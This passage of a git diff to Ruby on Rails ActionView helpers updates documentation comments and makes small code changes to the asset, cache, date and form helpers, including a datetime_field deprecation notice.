key explicitly, because you have passed #{type} type other than :rss or :atom.") @@ -136,7 +136,7 @@ module ActionView tag( "link", "rel" => tag_options[:rel] || "alternate", - "type" => tag_options[:type] || Mime::Type.lookup_by_extension(type.to_s).to_s, + "type" => tag_options[:type] || Template::Types[type].to_s, "title" => tag_options[:title] || type.to_s.upcase, "href" => url_options.is_a?(Hash) ? url_for(url_options.merge(:only_path => false)) : url_options ) @@ -205,8 +205,11 @@ module ActionView # # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" /> # image_tag("/icons/icon.gif", class: "menu_icon") # # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" /> + # image_tag("/icons/icon.gif", data: { title: 'Rails Application' }) + # # => <img data-title="Rails Application" src="/icons/icon.gif" /> def image_tag(source, options={}) options = options.symbolize_keys + check_for_image_tag_errors(options) src = options[:src] = path_to_image(source) @@ -236,7 +239,7 @@ module ActionView # image_alt('underscored_file_name.png') # # => Underscored file name def image_alt(src) - File.basename(src, '.*').sub(/-[[:xdigit:]]{32}\z/, '').tr('-_', ' ').capitalize + File.basename(src, '.*'.freeze).sub(/-[[:xdigit:]]{32,64}\z/, ''.freeze).tr('-_'.freeze, ' '.freeze).capitalize end # Returns an HTML video tag for the +sources+. If +sources+ is a string, @@ -325,6 +328,12 @@ module ActionView [size, size] end end + + def check_for_image_tag_errors(options) + if options[:size] && (options[:height] || options[:width]) + raise ArgumentError, "Cannot pass a :size option with a :height or :width option" + end + end end end end diff --git a/actionview/lib/action_view/helpers/asset_url_helper.rb b/actionview/lib/action_view/helpers/asset_url_helper.rb index 29733442c1..717b326740 100644 --- a/actionview/lib/action_view/helpers/asset_url_helper.rb +++ b/actionview/lib/action_view/helpers/asset_url_helper.rb @@ -31,26 +31,33 @@ module ActionView # stylesheet_link_tag("application") # # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" /> # - # Browsers typically open at most two simultaneous connections to a single - # host, which means your assets often have to wait for other assets to finish - # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the - # +asset_host+. For example, "assets%d.example.com". If that wildcard is - # present Rails distributes asset requests among the corresponding four hosts - # "assets0.example.com", ..., "assets3.example.com". With this trick browsers - # will open eight simultaneous connections rather than two. + # Browsers open a limited number of simultaneous connections to a single + # host. The exact number varies by browser and version. This limit may cause + # some asset downloads to wait for previous assets to finish before they can + # begin. You can use the <tt>%d</tt> wildcard in the +asset_host+ to + # distribute the requests over four hosts. For example, + # <tt>assets%d.example.com<tt> will spread the asset requests over + # "assets0.example.com", ..., "assets3.example.com". # # image_tag("rails.png") # # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" /> # stylesheet_link_tag("application") # # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" /> # - # To do this, you can either setup four actual hosts, or you can use wildcard - # DNS to CNAME the wildcard to a single asset host. You can read more about - # setting up your DNS CNAME records from your ISP. + # This may improve the asset loading performance of your application. + # It is also possible the combination of additional connection overhead + # (DNS, SSL) and the overall browser connection limits may result in this + # solution being slower. You should be sure to measure your actual + # performance across targeted browsers both before and after this change. + # + # To implement the corresponding hosts you can either setup four actual + # hosts or use wildcard DNS to CNAME the wildcard to a single asset host. + # You can read more about setting up your DNS CNAME records from your ISP. # # Note: This is purely a browser performance optimization and is not meant # for server load balancing. See http://www.die.net/musings/page_load_time/ - # for background. + # for background and http://www.browserscope.org/?category=network for + # connection limit data. # # Alternatively, you can exert more control over the asset host by setting # +asset_host+ to a proc like this: @@ -121,11 +128,13 @@ module ActionView # asset_path "application", type: :stylesheet # => /assets/application.css # asset_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js def asset_path(source, options = {}) + raise ArgumentError, "nil is not a valid asset source" if source.nil? + source = source.to_s return "" unless source.present? return source if source =~ URI_REGEXP - tail, source = source[/([\?#].+)$/], source.sub(/([\?#].+)$/, '') + tail, source = source[/([\?#].+)$/], source.sub(/([\?#].+)$/, ''.freeze) if extname = compute_asset_extname(source, options) source = "#{source}#{extname}" @@ -248,6 +257,11 @@ module ActionView # Computes the full URL to a JavaScript asset in the public javascripts directory. # This will use +javascript_path+ internally, so most of their behaviors will be the same. + # Since +javascript_url+ is based on +asset_url+ method you can set :host options. If :host + # options is set, it overwrites global +config.action_controller.asset_host+ setting. + # + # javascript_url "js/xmlhr.js", host: "http://stage.example.com" # => http://stage.example.com/assets/dir/xmlhr.js + # def javascript_url(source, options = {}) url_to_asset(source, {type: :javascript}.merge!(options)) end @@ -270,6 +284,11 @@ module ActionView # Computes the full URL to a stylesheet asset in the public stylesheets directory. # This will use +stylesheet_path+ internally, so most of their behaviors will be the same. + # Since +stylesheet_url+ is based on +asset_url+ method you can set :host options. If :host + # options is set, it overwrites global +config.action_controller.asset_host+ setting. + # + # stylesheet_url "css/style.css", host: "http://stage.example.com" # => http://stage.example.com/css/style.css + # def stylesheet_url(source, options = {}) url_to_asset(source, {type: :stylesheet}.merge!(options)) end @@ -295,6 +314,11 @@ module ActionView # Computes the full URL to an image asset. # This will use +image_path+ internally, so most of their behaviors will be the same. + # Since +image_url+ is based on +asset_url+ method you can set :host options. If :host + # options is set, it overwrites global +config.action_controller.asset_host+ setting. + # + # image_url "edit.png", host: "http://stage.example.com" # => http://stage.example.com/edit.png + # def image_url(source, options = {}) url_to_asset(source, {type: :image}.merge!(options)) end @@ -316,6 +340,11 @@ module ActionView # Computes the full URL to a video asset in the public videos directory. # This will use +video_path+ internally, so most of their behaviors will be the same. + # Since +video_url+ is based on +asset_url+ method you can set :host options. If :host + # options is set, it overwrites global +config.action_controller.asset_host+ setting. + # + # video_url "hd.avi", host: "http://stage.example.com" # => http://stage.example.com/hd.avi + # def video_url(source, options = {}) url_to_asset(source, {type: :video}.merge!(options)) end @@ -337,6 +366,11 @@ module ActionView # Computes the full URL to an audio asset in the public audios directory. # This will use +audio_path+ internally, so most of their behaviors will be the same. + # Since +audio_url+ is based on +asset_url+ method you can set :host options. If :host + # options is set, it overwrites global +config.action_controller.asset_host+ setting. + # + # audio_url "horse.wav", host: "http://stage.example.com" # => http://stage.example.com/horse.wav + # def audio_url(source, options = {}) url_to_asset(source, {type: :audio}.merge!(options)) end @@ -357,6 +391,11 @@ module ActionView # Computes the full URL to a font asset. # This will use +font_path+ internally, so most of their behaviors will be the same. + # Since +font_url+ is based on +asset_url+ method you can set :host options. If :host + # options is set, it overwrites global +config.action_controller.asset_host+ setting. + # + # font_url "font.ttf", host: "http://stage.example.com" # => http://stage.example.com/font.ttf + # def font_url(source, options = {}) url_to_asset(source, {type: :font}.merge!(options)) end diff --git a/actionview/lib/action_view/helpers/atom_feed_helper.rb b/actionview/lib/action_view/helpers/atom_feed_helper.rb index d8be4e5678..c875f5870f 100644 --- a/actionview/lib/action_view/helpers/atom_feed_helper.rb +++ b/actionview/lib/action_view/helpers/atom_feed_helper.rb @@ -16,7 +16,7 @@ module ActionView # end # # app/controllers/posts_controller.rb: - # class PostsController < ApplicationController::Base + # class PostsController < ApplicationController # # GET /posts.html # # GET /posts.atom # def index @@ -51,7 +51,7 @@ module ActionView # * <tt>:language</tt>: Defaults to "en-US". # * <tt>:root_url</tt>: The HTML alternative that this feed is doubling for. Defaults to / on the current host. # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL. - # * <tt>:id</tt>: The id for this feed. Defaults to "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}" + # * <tt>:id</tt>: The id for this feed. Defaults to "tag:localhost,2005:/posts", in this case. # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you # created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified, # 2005 is used (as an "I don't care" value). @@ -132,7 +132,7 @@ module ActionView end private - # Delegate to xml builder, first wrapping the element in a xhtml + # Delegate to xml builder, first wrapping the element in an xhtml # namespaced div element if the method and arguments indicate # that an xhtml_block? is desired. def method_missing(method, *arguments, &block) diff --git a/actionview/lib/action_view/helpers/cache_helper.rb b/actionview/lib/action_view/helpers/cache_helper.rb index 0e2a5f90f4..4eaaa239e2 100644 --- a/actionview/lib/action_view/helpers/cache_helper.rb +++ b/actionview/lib/action_view/helpers/cache_helper.rb @@ -39,13 +39,13 @@ module ActionView # This will include both records as part of the cache key and updating either of them will # expire the cache. # - # ==== Template digest + # ==== \Template digest # - # The template digest that's added to the cache key is computed by taking an md5 of the + # The template digest that's added to the cache key is computed by taking an MD5 of the # contents of the entire template file. This ensures that your caches will automatically # expire when you change the template file. # - # Note that the md5 is taken of the entire template file, not just what's within the + # Note that the MD5 is taken of the entire template file, not just what's within the # cache do/end call. So it's possible that changing something outside of that call will # still expire the cache. # @@ -75,7 +75,8 @@ module ActionView # render(topics) => render("topics/topic") # render(message.topics) => render("topics/topic") # - # It's not possible to derive all render calls like that, though. Here are a few examples of things that can't be derived: + # It's not possible to derive all render calls like that, though. + # Here are a few examples of things that can't be derived: # # render group_of_attachments # render @project.documents.where(published: true).order('created_at') @@ -97,45 +98,61 @@ module ActionView # <%# Template Dependency: todolists/todolist %> # <%= render_sortable_todolists @project.todolists %> # - # The pattern used to match these is /# Template Dependency: ([^ ]+)/, so it's important that you type it out just so. + # In some cases, like a single table inheritance setup, you might have + # a bunch of explicit dependencies. Instead of writing every template out, + # you can use a wildcard to match any template in a directory: + # + # <%# Template Dependency: events/* %> + # <%= render_categorizable_events @person.events %> + # + # This marks every template in the directory as a dependency. To find those + # templates, the wildcard path must be absolutely defined from app/views or paths + # otherwise added with +prepend_view_path+ or +append_view_path+. + # This way the wildcard for `app/views/recordings/events` would be `recordings/events/*` etc. + # + # The pattern used to match explicit dependencies is <tt>/# Template Dependency: (\S+)/</tt>, + # so it's important that you type it out just so. # You can only declare one template dependency per line. # # === External dependencies # - # If you use a helper method, for example, inside of a cached block and you then update that helper, - # you'll have to bump the cache as well. It doesn't really matter how you do it, but the md5 of the template file + # If you use a helper method, for example, inside a cached block and + # you then update that helper, you'll have to bump the cache as well. + # It doesn't really matter how you do it, but the MD5 of the template file # must change. One recommendation is to simply be explicit in a comment, like: # # <%# Helper Dependency Updated: May 6, 2012 at 6pm %> # <%= some_helper_method(person) %> # - # Now all you'll have to do is change that timestamp when the helper method changes. + # Now all you have to do is change that timestamp when the helper method changes. # - # === Automatic Collection Caching + # === Collection Caching # - # When rendering collections such as: + # When rendering a collection of objects that each use the same partial, a `cached` + # option can be passed. + # For collections rendered such: # - # <%= render @notifications %> - # <%= render partial: 'notifications/notification', collection: @notifications %> + # <%= render partial: 'notifications/notification', collection: @notifications, cached: true %> # - # If the notifications/_notification partial starts with a cache call like so: + # The `cached: true` will make Action View's rendering read several templates + # from cache at once instead of one call per template. # - # <% cache notification do %> - # <%= notification.name %> - # <% end %> - # - # The collection can then automatically use any cached renders for that - # template by reading them at once instead of one by one. + # Templates in the collection not already cached are written to cache. # - # See ActionView::Template::Handlers::ERB.resource_cache_call_pattern for more - # information on what cache calls make a template eligible for this collection caching. + # Works great alongside individual template fragment caching. + # For instance if the template the collection renders is cached like: # - # The automatic cache multi read can be turned off like so: + # # notifications/_notification.html.erb + # <% cache notification do %> + # <%# ... %> + # <% end %> # - # <%= render @notifications, cache: false %> - def cache(name = {}, options = nil, &block) - if controller.perform_caching - safe_concat(fragment_for(cache_fragment_name(name, options), options, &block)) + # Any collection renders will find those cached templates when attempting + # to read multiple templates at once. + def cache(name = {}, options = {}, &block) + if controller.respond_to?(:perform_caching) && controller.perform_caching + name_options = options.slice(:skip_digest, :virtual_path) + safe_concat(fragment_for(cache_fragment_name(name, name_options), options, &block)) else yield end @@ -149,7 +166,7 @@ module ActionView # <b>All the topics on this project</b> # <%= render project.topics %> # <% end %> - def cache_if(condition, name = {}, options = nil, &block) + def cache_if(condition, name = {}, options = {}, &block) if condition cache(name, options, &block) else @@ -165,41 +182,34 @@ module ActionView # <b>All the topics on this project</b> # <%= render project.topics %> # <% end %> - def cache_unless(condition, name = {}, options = nil, &block) + def cache_unless(condition, name = {}, options = {}, &block) cache_if !condition, name, options, &block end # This helper returns the name of a cache key for a given fragment cache - # call. By supplying skip_digest: true to cache, the digestion of cache + # call. By supplying +skip_digest:+ true to cache, the digestion of cache # fragments can be manually bypassed. This is useful when cache fragments # cannot be manually expired unless you know the exact key which is the # case when using memcached. - def cache_fragment_name(name = {}, options = nil) - skip_digest = options && options[:skip_digest] - + # + # The digest will be generated using +virtual_path:+ if it is provided. + # + def cache_fragment_name(name = {}, skip_digest: nil, virtual_path: nil) if skip_digest name else - fragment_name_with_digest(name) + fragment_name_with_digest(name, virtual_path) end end - # Given a key (as described in ActionController::Caching::Fragments.expire_fragment), - # returns a key suitable for use in reading, writing, or expiring a - # cached fragment. All keys are prefixed with <tt>views/</tt> and uses - # ActiveSupport::Cache.expand_cache_key for the expansion. - def fragment_cache_key(key) - ActiveSupport::Cache.expand_cache_key(key.is_a?(Hash) ? url_for(key).split("://").last : key, :views) - end - private - def fragment_name_with_digest(name) #:nodoc: - if @virtual_path - names = Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name) - digest = Digestor.digest name: @virtual_path, finder: lookup_context, dependencies: view_cache_dependencies - - [ *names, digest ] + def fragment_name_with_digest(name, virtual_path) #:nodoc: + virtual_path ||= @virtual_path + if virtual_path + name = controller.url_for(name).split("://").last if name.is_a?(Hash) + digest = Digestor.digest name: virtual_path, finder: lookup_context, dependencies: view_cache_dependencies + [ name, digest ] else name end diff --git a/actionview/lib/action_view/helpers/capture_helper.rb b/actionview/lib/action_view/helpers/capture_helper.rb index a67ba580f1..df8d0affd0 100644 --- a/actionview/lib/action_view/helpers/capture_helper.rb +++ b/actionview/lib/action_view/helpers/capture_helper.rb @@ -9,8 +9,8 @@ module ActionView # It provides a method to capture blocks into variables through capture and # a way to capture a block of markup for use in a layout through content_for. module CaptureHelper - # The capture method allows you to extract part of a template into a - # variable. You can then use this variable anywhere in your templates or layout. + # The capture method extracts part of a template as a String object. + # You can then use this object anywhere in your templates, layout, or helpers. # # The capture method can be used in ERB templates... # @@ -115,7 +115,7 @@ module ActionView # <li><%= link_to 'Home', action: 'index' %></li> # <% end %> # - # And in other place: + # And in another place: # # <% content_for :navigation do %> # <li><%= link_to 'Login', action: 'login' %></li> diff --git a/actionview/lib/action_view/helpers/controller_helper.rb b/actionview/lib/action_view/helpers/controller_helper.rb index 74ef25f7c1..3569fba8c6 100644 --- a/actionview/lib/action_view/helpers/controller_helper.rb +++ b/actionview/lib/action_view/helpers/controller_helper.rb @@ -14,6 +14,7 @@ module ActionView if @_controller = controller @_request = controller.request if controller.respond_to?(:request) @_config = controller.config.inheritable_copy if controller.respond_to?(:config) + @_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder) end end diff --git a/actionview/lib/action_view/helpers/date_helper.rb b/actionview/lib/action_view/helpers/date_helper.rb index 46ce7cf0be..9042b9cffd 100644 --- a/actionview/lib/action_view/helpers/date_helper.rb +++ b/actionview/lib/action_view/helpers/date_helper.rb @@ -68,6 +68,27 @@ module ActionView # distance_of_time_in_words(from_time, to_time, include_seconds: true) # => about 6 years # distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years # distance_of_time_in_words(Time.now, Time.now) # => less than a minute + # + # With the <tt>scope</tt> option, you can define a custom scope for Rails + # to look up the translation. + # + # For example you can define the following in your locale (e.g. en.yml). + # + # datetime: + # distance_in_words: + # short: + # about_x_hours: + # one: 'an hour' + # other: '%{count} hours' + # + # See https://github.com/svenfuchs/rails-i18n/blob/master/rails/locale/en.yml + # for more examples. + # + # Which will then result in the following: + # + # from_time = Time.now + # distance_of_time_in_words(from_time, from_time + 50.minutes, scope: 'datetime.distance_in_words.short') # => "an hour" + # distance_of_time_in_words(from_time, from_time + 3.hours, scope: 'datetime.distance_in_words.short') # => "3 hours" def distance_of_time_in_words(from_time, to_time = 0, options = {}) options = { scope: :'datetime.distance_in_words' @@ -205,8 +226,11 @@ module ActionView # for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>. # Setting this option prepends a select option with a generic prompt (Day, Month, Year, Hour, Minute, Seconds) # or the given prompt string. - # * <tt>:with_css_classes</tt> - Set to true if you want assign different styles for 'select' tags. This option - # automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second' for your 'select' tags. + # * <tt>:with_css_classes</tt> - Set to true or a hash of strings. Use true if you want to assign generic styles for + # select tags. This automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second'. A hash of + # strings for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt>, <tt>:second</tt> + # will extend the select type with the given value. Use +html_options+ to modify every select tag in the set. + # * <tt>:use_hidden</tt> - Set to true if you only want to generate hidden input tags. # # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set. # @@ -464,7 +488,7 @@ module ActionView # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer. # Override the field name using the <tt>:field_name</tt> option, 'second' by default. # - # my_time = Time.now + 16.minutes + # my_time = Time.now + 16.seconds # # # Generates a select field for seconds that defaults to the seconds for the time in my_time. # select_second(my_time) @@ -488,7 +512,7 @@ module ActionView # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer. # Override the field name using the <tt>:field_name</tt> option, 'minute' by default. # - # my_time = Time.now + 6.hours + # my_time = Time.now + 10.minutes # # # Generates a select field for minutes that defaults to the minutes for the time in my_time. # select_minute(my_time) @@ -660,7 +684,7 @@ module ActionView content = args.first || I18n.l(date_or_time, :format => format) datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601 - content_tag(:time, content, options.reverse_merge(:datetime => datetime), &block) + content_tag("time".freeze, content, options.reverse_merge(:datetime => datetime), &block) end end @@ -788,7 +812,7 @@ module ActionView 1.upto(12) do |month_number| options = { :value => month_number } options[:selected] = "selected" if month == month_number - month_options << content_tag(:option, month_name(month_number), options) + "\n" + month_options << content_tag("option".freeze, month_name(month_number), options) + "\n" end build_select(:month, month_options.join) end @@ -823,7 +847,12 @@ module ActionView private %w( sec min hour day month year ).each do |method| define_method(method) do - @datetime.kind_of?(Numeric) ? @datetime : @datetime.send(method) if @datetime + case @datetime + when Hash then @datetime[method.to_sym] + when Numeric then @datetime + when nil then nil + else @datetime.send(method) + end end end @@ -950,7 +979,7 @@ module ActionView tag_options[:selected] = "selected" if selected == i text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value text = options[:ampm] ? AMPM_TRANSLATION[i] : text - select_options << content_tag(:option, text, tag_options) + select_options << content_tag("option".freeze, text, tag_options) end (select_options.join("\n") + "\n").html_safe @@ -967,14 +996,28 @@ module ActionView :name => input_name_from_type(type) }.merge!(@html_options) select_options[:disabled] = 'disabled' if @options[:disabled] - select_options[:class] = [select_options[:class], type].compact.join(' ') if @options[:with_css_classes] + select_options[:class] = css_class_attribute(type, select_options[:class], @options[:with_css_classes]) if @options[:with_css_classes] select_html = "\n" - select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank] + select_html << content_tag("option".freeze, '', :value => '') + "\n" if @options[:include_blank] select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt] select_html << select_options_as_html - (content_tag(:select, select_html.html_safe, select_options) + "\n").html_safe + (content_tag("select".freeze, select_html.html_safe, select_options) + "\n").html_safe + end + + # Builds the css class value for the select element + # css_class_attribute(:year, 'date optional', { year: 'my-year' }) + # => "date optional my-year" + def css_class_attribute(type, html_options_class, options) # :nodoc: + css_class = case options + when Hash + options[type.to_sym] + else + type + end + + [html_options_class, css_class].compact.join(' ') end # Builds a prompt option tag with supplied options or from default options. @@ -991,7 +1034,7 @@ module ActionView I18n.translate(:"datetime.prompts.#{type}", :locale => @options[:locale]) end - prompt ? content_tag(:option, prompt, :value => '') : '' + prompt ? content_tag("option".freeze, prompt, :value => '') : '' end # Builds hidden input tag for date part and value. diff --git a/actionview/lib/action_view/helpers/form_helper.rb b/actionview/lib/action_view/helpers/form_helper.rb index b0793d0b91..7ced37572e 100644 --- a/actionview/lib/action_view/helpers/form_helper.rb +++ b/actionview/lib/action_view/helpers/form_helper.rb @@ -67,9 +67,10 @@ module ActionView # # In particular, thanks to the conventions followed in the generated field names, the # controller gets a nested hash <tt>params[:person]</tt> with the person attributes - # set in the form. That hash is ready to be passed to <tt>Person.create</tt>: + # set in the form. That hash is ready to be passed to <tt>Person.new</tt>: # - # if @person = Person.create(params[:person]) + # @person = Person.new(params[:person]) + # if @person.save # # success # else # # error handling @@ -113,6 +114,8 @@ module ActionView include ModelNaming include RecordIdentifier + attr_internal :default_form_builder + # Creates a form that allows the user to create or update the attributes # of a specific model object. # @@ -140,6 +143,7 @@ module ActionView # will get expanded to # # <%= text_field :person, :first_name %> + # # which results in an HTML <tt><input></tt> tag whose +name+ attribute is # <tt>person[first_name]</tt>. This means that when the form is submitted, # the value entered by the user will be available in the controller as @@ -761,7 +765,7 @@ module ActionView # # => <label for="post_privacy_public">Public Post</label> # # label(:post, :terms) do - # 'Accept <a href="/terms">Terms</a>.'.html_safe + # raw('Accept <a href="/terms">Terms</a>.') # end # # => <label for="post_terms">Accept <a href="/terms">Terms</a>.</label> def label(object_name, method, content_or_options = nil, options = nil, &block) @@ -845,8 +849,8 @@ module ActionView # file_field(:user, :avatar) # # => <input type="file" id="user_avatar" name="user[avatar]" /> # - # file_field(:post, :image, :multiple => true) - # # => <input type="file" id="post_image" name="post[image]" multiple="true" /> + # file_field(:post, :image, multiple: true) + # # => <input type="file" id="post_image" name="post[image][]" multiple="multiple" /> # # file_field(:post, :attached, accept: 'text/html') # # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" /> @@ -1034,7 +1038,7 @@ module ActionView # date_field("user", "born_on") # # => <input id="user_born_on" name="user[born_on]" type="date" /> # - # The default value is generated by trying to call "to_date" + # The default value is generated by trying to call +strftime+ with "%Y-%m-%d" # on the object's value, which makes it behave as expected for instances # of DateTime and ActiveSupport::TimeWithZone. You can still override that # by passing the "value" option explicitly, e.g. @@ -1114,6 +1118,10 @@ module ActionView # # => <input id="user_born_on" name="user[born_on]" type="datetime" min="2014-05-20T00:00:00.000+0000" /> # def datetime_field(object_name, method, options = {}) + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + datetime_field is deprecated and will be removed in Rails 5.1. + Use datetime_local_field instead. + MESSAGE Tags::DatetimeField.new(object_name, method, self, options).render end @@ -1231,7 +1239,7 @@ module ActionView end def default_form_builder_class - builder = ActionView::Base.default_form_builder + builder = default_form_builder || ActionView::Base.default_form_builder builder.respond_to?(:constantize) ? builder.constantize : builder end end @@ -1613,7 +1621,14 @@ module ActionView @auto_index end - record_name = index ? "#{object_name}[#{index}][#{record_name}]" : "#{object_name}[#{record_name}]" + record_name = if index + "#{object_name}[#{index}][#{record_name}]" + elsif record_name.to_s.end_with?('[]') + record_name = record_name.to_s.sub(/(.*)\[\]$/, "[\\1][#{record_object.id}]") + "#{object_name}#{record_name}" + else + "#{object_name}[#{record_name}]" + end fields_options[:child_index] = index @template.fields_for(record_name, record_object, fields_options, &block) @@ -1627,7 +1642,7 @@ module ActionView # target labels for radio_button tags (where the value is used in the ID of the input tag). # # ==== Examples - # label(:post, :title) + # label(:title) # # => <label for="post_title">Title</label> # # You can localize your labels based on model and attribute names. @@ -1640,7 +1655,7 @@ module ActionView # # Which then will result in # - # label(:post, :body) + # label(:body) # # => <label for="post_body">Write your entire text here</label> # # Localization can also be based purely on the translation of the attribute-name @@ -1651,21 +1666,22 @@ module ActionView # post: # cost: "Total cost" # - # label(:post, :cost) + # label(:cost) # # => <label for="post_cost">Total cost</label> # - # label(:post, :title, "A short title") + # label(:title, "A short title") # # => <label for="post_title">A short title</label> # - # label(:post, :title, "A short title", class: "title_label") + # label(:title, "A short title", class: "title_label") # # => <label for="post_title" class="title_label">A short title</label> # - # label(:post, :privacy, "Public Post", value: "public") + # label(:privacy, "Public Post", value: "public") # # => <label for="post_privacy_public">Public Post</label> # - # label(:post, :terms) do - # 'Accept <a href="/terms">Terms</a>.'.html_safe + # label(:terms) do + # raw('Accept <a href="/terms">Terms</a>.') # end + # # => <label for="post_terms">Accept <a href="/terms">Terms</a>.</label> def label(method, text = nil, options = {}, &block) @template.label(@object_name, method, text, objectify_options(options), &block) end @@ -1714,16 +1730,17 @@ module ActionView # hashes instead of arrays. # # # Let's say that @post.validated? is 1: - # check_box("post", "validated") + # check_box("validated") # # => <input name="post[validated]" type="hidden" value="0" /> # # <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" /> # # # Let's say that @puppy.gooddog is "no": - # check_box("puppy", "gooddog", {}, "yes", "no") + # check_box("gooddog", {}, "yes", "no") # # => <input name="puppy[gooddog]" type="hidden" value="no" /> # # <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" /> # - # check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no") + # # Let's say that @eula.accepted is "no": + # check_box("accepted", { class: 'eula_check' }, "yes", "no") # # => <input name="eula[accepted]" type="hidden" value="no" /> # # <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" /> def check_box(method, options = {}, checked_value = "1", unchecked_value = "0") @@ -1738,13 +1755,14 @@ module ActionView # +options+ hash. You may pass HTML options there as well. # # # Let's say that @post.category returns "rails": - # radio_button("post", "category", "rails") - # radio_button("post", "category", "java") + # radio_button("category", "rails") + # radio_button("category", "java") # # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" /> # # <input type="radio" id="post_category_java" name="post[category]" value="java" /> # - # radio_button("user", "receive_newsletter", "yes") - # radio_button("user", "receive_newsletter", "no") + # # Let's say that @user.category returns "no": + # radio_button("receive_newsletter", "yes") + # radio_button("receive_newsletter", "no") # # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" /> # # <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" /> def radio_button(method, tag_value, options = {}) @@ -1757,14 +1775,17 @@ module ActionView # shown. # # ==== Examples - # hidden_field(:signup, :pass_confirm) - # # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" /> + # # Let's say that @signup.pass_confirm returns true: + # hidden_field(:pass_confirm) + # # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="true" /> # - # hidden_field(:post, :tag_list) - # # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" /> + # # Let's say that @post.tag_list returns "blog, ruby": + # hidden_field(:tag_list) + # # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="blog, ruby" /> # - # hidden_field(:user, :token) - # # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" /> + # # Let's say that @user.token returns "abcde": + # hidden_field(:token) + # # => <input type="hidden" id="user_token" name="user[token]" value="abcde" /> # def hidden_field(method, options = {}) @emitted_hidden_id = true if method == :id @@ -1785,19 +1806,24 @@ module ActionView # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations. # # ==== Examples - # file_field(:user, :avatar) + # # Let's say that @user has avatar: + # file_field(:avatar) # # => <input type="file" id="user_avatar" name="user[avatar]" /> # - # file_field(:post, :image, :multiple => true) - # # => <input type="file" id="post_image" name="post[image]" multiple="true" /> + # # Let's say that @post has image: + # file_field(:image, :multiple => true) + # # => <input type="file" id="post_image" name="post[image][]" multiple="multiple" /> # - # file_field(:post, :attached, accept: 'text/html') + # # Let's say that @post has attached: + # file_field(:attached, accept: 'text/html') # # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" /> # - # file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg') + # # Let's say that @post has image: + # file_field(:image, accept: 'image/png,image/gif,image/jpeg') # # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" /> # - # file_field(:attachment, :file, class: 'file_input') + # # Let's say that @attachment has file: + # file_field(:file, class: 'file_input') # # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" /> def file_field(method, options = {}) self.multipart = true @@ -1865,7 +1891,7 @@ module ActionView # create: "Add %{model}" # # ==== Examples - # button("Create a post") + # button("Create post") # # => <button name='button' type='submit'>Create post</button> # # button do @@ -1926,7 +1952,11 @@ module ActionView explicit_child_index = options[:child_index] output = ActiveSupport::SafeBuffer.new association.each do |child| - options[:child_index] = nested_child_index(name) unless explicit_child_index + if explicit_child_index + options[:child_index] = explicit_child_index.call if explicit_child_index.respond_to?(:call) + else + options[:child_index] = nested_child_index(name) + end output << fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block) end output diff --git a/actionview/lib/action_view/helpers/form_options_helper.rb b/actionview/lib/action_view/helpers/form_options_helper.rb index 8a5928477f..b277efd7b6 100644 --- a/actionview/lib/action_view/helpers/form_options_helper.rb +++ b/actionview/lib/action_view/helpers/form_options_helper.rb @@ -35,8 +35,8 @@ module ActionView # <select name="post[person_id]" id="post_person_id"> # <option value="">None</option> # <option value="1">David</option> - # <option value="2" selected="selected">Sam</option> - # <option value="3">Tobias</option> + # <option value="2" selected="selected">Eileen</option> + # <option value="3">Rafael</option> # </select> # # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string. @@ -48,8 +48,8 @@ module ActionView # <select name="post[person_id]" id="post_person_id"> # <option value="">Select Person</option> # <option value="1">David</option> - # <option value="2">Sam</option> - # <option value="3">Tobias</option> + # <option value="2">Eileen</option> + # <option value="3">Rafael</option> # </select> # # * <tt>:index</tt> - like the other form helpers, +select+ can accept an 